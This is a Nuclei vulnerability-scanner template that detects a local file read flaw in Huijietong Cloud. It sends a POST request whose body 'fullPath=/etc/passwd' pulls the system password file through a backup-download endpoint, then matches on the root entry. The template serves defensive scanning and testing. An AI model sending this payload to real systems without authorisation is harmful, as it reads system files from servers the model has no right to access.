nuclei-templates/vulnerabilities/other/huijietong-cloud-fileread.yaml

24 lines
427 B
YAML

id: huijietong-cloud-fileread
info:
name: Huijietong Cloud File Read
author: princechaddha
severity: high
tags: huijietong,lfi
requests:
- method: POST
path:
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/etc/passwd'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200